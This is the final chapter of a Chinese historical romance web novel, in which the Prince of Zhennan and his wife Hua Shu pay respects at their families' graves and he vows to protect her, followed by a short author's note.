当日宋家夫人还落井下石地来退婚,紧接着霍四爷获封镇南王的消息不胫而走,满燕京城轰动一时…… 一切的一切,恍如昨日。 * 除了半夏和白术,别院的丫鬟都是后来添置的。她们早就听闻镇南王甚是宠爱王妃,但一直不晓得“甚是”的深意。 直到王爷归来,三天三夜没踏出房门。 身体力行地诠释了对王妃的疼爱…… 让所有人皆是叹为观止! 第四日清晨,天刚蒙蒙亮,华姝罩着一袭素色披风,随霍霆乘坐马车,前往郊外后脚下的墓地。 只能说命运使然,前镇南候府和华府皆是满门遭受迫害,前者被霍老太爷带人收敛埋葬,后者被霍老夫人带人收敛埋葬。 是而,两家坟冢挨得很近。 华姝早年鬼节来上香时,就曾留意到另一片墓地,漫天遍野的无名冢。 直到今时才明白,那些都是惨遭株连九族的秦家人。 也终是明白,霍霆为何会在别院黑塔的石碑上,刻下那么多的名字。 一座座石碑已是触目惊心,此刻再瞧着一座座无名冢,更是震人肺腑,摧肝断肠! 不幸中的万幸,霍霆生母去世时秦家还未定罪,她的石碑上有刻字。是霍老太爷以五岁霍霆的口吻,命人刻下的。 先妣秦氏静娴之墓 孝男澜舟泣血立石 墓碑前,一大捧□□在晨雾中摇曳。 很新鲜,像是今早刚采摘的。 霍霆视线顿住一瞬,没说什么。 双膝跪至墓碑前,从竹篮中拿出纸钱、线香、各类祭品,一一摆到那□□旁。 然后就跪在那,默然良久未语。 秋风吹鼓他的衣衫,挺阔背影显得异常寂落。 华姝看不透他的思绪,大抵心中在熬煎。她和半夏、长缨就静静等在后面,不敢出声打搅。 直到霍霆回身,示意她上前。 华姝走过去,跪在他侧身,接过四根线香,恭恭敬敬朝墓碑叩拜,插进土中。 霍霆:“娘,孩儿携妻来看您了。她叫华姝,希望您在天上能庇佑她长乐安康。” 华姝颤了颤眼睫,逼退酸涩。 她回身要过半夏手中的竹篮,从里面端出一盏由汤婆子煨着的茶汤,双手捧端,又朝前深深一拜,而后将茶汤洒在墓碑前。 霍霆不知她还备了这盏新妇的茶。 饶是铮铮八尺男儿、流血流汗从不流泪,这一刻也湿润了眼眶。 妻贤如此,夫复何求? 华姝从篮子里也掏出一把纸钱,借着白烛点燃,边烧边道:“娘,您放心吧。我和澜舟未来定会把日子过得和和和美美。” 话音刚落,恰是一阵清风吹来,将那团纸钱吹得红红火火。 霍霆与华姝相识一笑,将她拥入怀中。 华府墓地靠后些,四人又徒步一刻钟才到。 途中,穿越一片霍老夫人特意命人栽下的杏林,林中凭空多出一间简陋的小木屋。 四人走上前,屋内无人,但能瞧出有人居住的痕迹。 至于何人居住于此,不言而喻。 华姝攥紧指尖,默了默,主动挑起话题:“你们后来有再谈过么?” 霍霆望向远处青翠群山,沉默片刻,叹息:“他说心中有愧,但若再重新来一次,还是会这般做。” 华姝也长长叹口气。 这本就是个吞不下、解不开的症结,落到谁身上都是。 霍霆:“顾朝登基的可能性很大,届时应当能好生照顾他。我会另外留下暗桩,真有不测,也能周旋一二。” 华姝点点头,相继往前走。 她这些年常来扫墓,轻车熟路地就找到了华不为夫妇的合葬墓穴。不出所料,他们墓碑前也有一束新鲜的□□。 华姝没有干涉那束□□的存在,任由它在苍凉的秋风中孤傲挺立。 她额外拿出祭拜之物,跪在父母坟前,一一摆好。 不同意男子闷沉,女儿家到了父母面前总是有说不尽的话。 “华府满门终于沉冤昭雪,大仇得报,你们在那边就安息吧。” “自此一别,女儿就不能常来看望你们了,但会时刻铭记华家之人的使命,医者仁心,贫富兼济。” “也定会将华家的医术代代传承下去,发扬光大……”她絮絮低语地说着日后的规划,就像儿时赖在父母怀里一般叽叽喳喳。 霍霆亦是耐心立在后面,静静看着她生动鲜活、凌云壮志地侃侃而谈着,欣慰一笑。 但思及另一件事,面容又颇为愁淡。 该来的总是要来的。 华姝忽而歪头朝他瞧过来,“来叫人呀。”她仰着白净小脸,眼睫眨巴眨巴:“夫君——” 这一声俏皮狡黠的“夫君”,叫得霍霆浑身酣然通畅,如听仙乐一般。 他无奈失笑。 后面的长缨和半夏亦是忍俊不禁。 然后就眼见那一道孔武高大的身形,上前两步,闷声跪在碑前,抱拳郑重一拜:“岳父岳母在上,请受小婿一拜。” 华姝强压住嘴角,不叫自己笑出声来。 而后又见他五指向天,郑重承诺: “我霍霆立誓在此,今日此后,镇南王府就是她的归处。” “我在,她便无忧;我生,她便无虞。” “一生一世,护她到底,绝不相负!” 一字一顿,掷地有声,铿锵有力。 每一句都重重扣拨在华姝的心弦上。她脸上笑意不减,却又凭空红了眼圈,难掩动容之色。 来之前,华姝本是告诫自己在父母坟前要开开心心的,不要落泪,不要让他们担心。 奈何这一瞬,那眼眶蓄满的泪珠着实不争气。 她仰头望向远方,望向更远处的杏林。 杏果熟于盛夏,入秋后只剩一片葳蕤翠叶,于清风中飒飒作响,郁郁葱葱。 恰似她们华府这百年杏林世族—— 业果已除,只余一身清气坦荡。 (正文完)—— 作者有话说:复仇线至此结束,婚礼会在番外 感谢朋友们的一路支持,笔芯~《 》